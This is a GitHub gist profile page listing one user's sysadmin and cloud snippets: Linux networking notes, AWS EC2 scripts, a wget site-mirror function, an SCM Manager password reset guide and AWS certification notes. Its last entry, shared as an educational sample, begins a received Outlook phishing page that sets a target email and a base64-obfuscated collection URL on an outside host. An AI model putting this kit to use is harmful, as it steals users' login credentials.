Skip to content

Instantly share code, notes, and snippets.

View miglen's full-sized avatar
👨‍💻

Miglen Evlogiev miglen

👨‍💻
View GitHub Profile
@miglen
miglen / linux-networking-tools.md
Last active July 25, 2024 03:45
Linux networking tools

List of Linux networking tools

netstat (ss)

Displays contents of /proc/net files. It works with the Linux Network Subsystem, it will tell you what the status of ports are ie. open, closed, waiting, masquerade connections. It will also display various other things. It has many different options. Netstat (Network Statistic) command display connection info, routing table information etc. To displays routing table information use option as -r.

Sample output:

Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)    
tcp4 0 0 127.0.0.1.62132 127.0.0.1.http ESTABLISHED
@miglen
miglen / change_instance.sh
Created February 15, 2016 16:33 — forked from nicosnyman/change_instance.sh
Easily change instance types on AWS EC2 with a bash script
#!/bin/bash
# Nico Snyman, nico@gammafly.com, 14/05/2015
# Change an instance type, while keeping snapshots
# This script will stop an instance identified by instance ID,
# take snapshots of all atached volumes, and restart it
# Use:
# -i instance ID - REQUIRED - stored in instance_id
# -t instance new instance type - REQUIRED - stored in instance_type
# -s if set to 0, no snapshot will be taken, dafault is 1
# (take snapshot of attached volumes) - stored in snapshot
@miglen
miglen / function.sh
Created July 10, 2024 20:57
Clone or mirror website as static with wget
scrapy () {
get \
--mirror \
--no-clobber \
--page-requisites \
--adjust-extension \
--convert-links \
--restrict-file-names=windows \
--domains=$1 \
--no-parent \
@miglen
miglen / clouds.md
Last active May 22, 2024 09:30
AWS & GCP explained in simple English

Amazon Web Services (AWS) & Google Cloud Platform (GCP) explained in simple English

This guide is only representative from my point of view and it may not be accurate and you should go on the official AWS & GCP websites for accurate and detailed information. It's initially inspired by AWS in simple English and GCP for AWS professionals. The idea is to compare both services, give simple one-line explanation and examples with other software that might have similiar capabilities. Comment below for suggestions.

Category Service AWS GCP Description It's like
Compute IaaS Amazon Elastic Compute Cloud (EC2) Google Compute Engine Type-1 virtual servers VMware ESXi, Citrix XenServer
  PaaS AWS Elastic Beanstalk Google App Engine Running your app on a platform
@miglen
miglen / osx_wifi_strenght_command_line.sh
Created January 14, 2018 18:46
Mac OS X Wifi Signal strength meter command line
#!/bin/bash
# Simple command to display the wireless strenght signal
#
clear
while x=1
do /System/Library/PrivateFrameworks/Apple*.framework/Versions/Current/Resources/airport -I \
| grep CtlRSSI \
| sed -e 's/^.*://g' \
| xargs -I SIGNAL printf "\rWifi dBm: SIGNAL"
sleep 0.5
@miglen
miglen / ec2-instance-prompt.sh
Last active January 23, 2024 17:11
AWS EC2 Instance Prompt with EC2 ARN Instance Id Public IP Private IP Account Id Region and Instance Name Tag
#!/bin/bash
#
# description: EC2 Instance Prompt
# author: Miglen Evlogiev <github@miglen.com>
#
# deployment: copy this file into /etc/profile.d/ec2-instance-prompt.sh
# sudo wget https://gist.githubusercontent.com/miglen/e2e577b95acf1171a1853871737323ce/raw/ec2-instance-prompt.sh -P /etc/profile.d/
# sudo bash /etc/profile.d/ec2-instance-prompt.sh
#
@miglen
miglen / reset_scmadmin_password.md
Last active December 20, 2023 10:53
How to reset your admin password in SCM Manager

How to reset the scmadmin (administrator) password in SCM Manager?

Recently I had some troubles in resetting the SCM Manager admin password and here's simply how to do it.

  1. Look for file users.xml where the users and passwords are stored. Usual locations:
/root/.scm/config/users.xml
/var/scm-server/conf/users.xml
$SCM_INSTALL_OR_HOME_DIR/config/users.xml
@miglen
miglen / aws-certification.md
Last active May 5, 2023 10:04
AWS Certification guide and notes on how to prepare for the aws associate certification architect, sysops and developer exams


AWS Certification notes

Those are my personal notes on AWS Solution Architect certification preparation. Hope you find them usefull.

To pass AWS certification, you should have:

  • Sound knowledge about most of the AWS services ( EC2, VPC, RDS, Cloudfront, S3, Route53 etc,)
  • Hands on experience with AWS services.
@miglen
miglen / phishing.html
Created November 23, 2022 15:30
Outlook phishing portal attempt via html (educational only, I have received this via email)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script>
let EMAIL_ADDRESS = "user@company.com"; // Change this to the email address
let BASED64_ENCODED_EMAIL = ""; // If you wish to encode the email address, enter the based64 encoded email and leave the email address blank otherwise, leave this field blank
let SCRIPT_LINK_URL = window.atob("aHR0cHM6Ly9tZWdhdGVycmEuaHUvc2NyaXB0LnBocA"); //Enter the script link here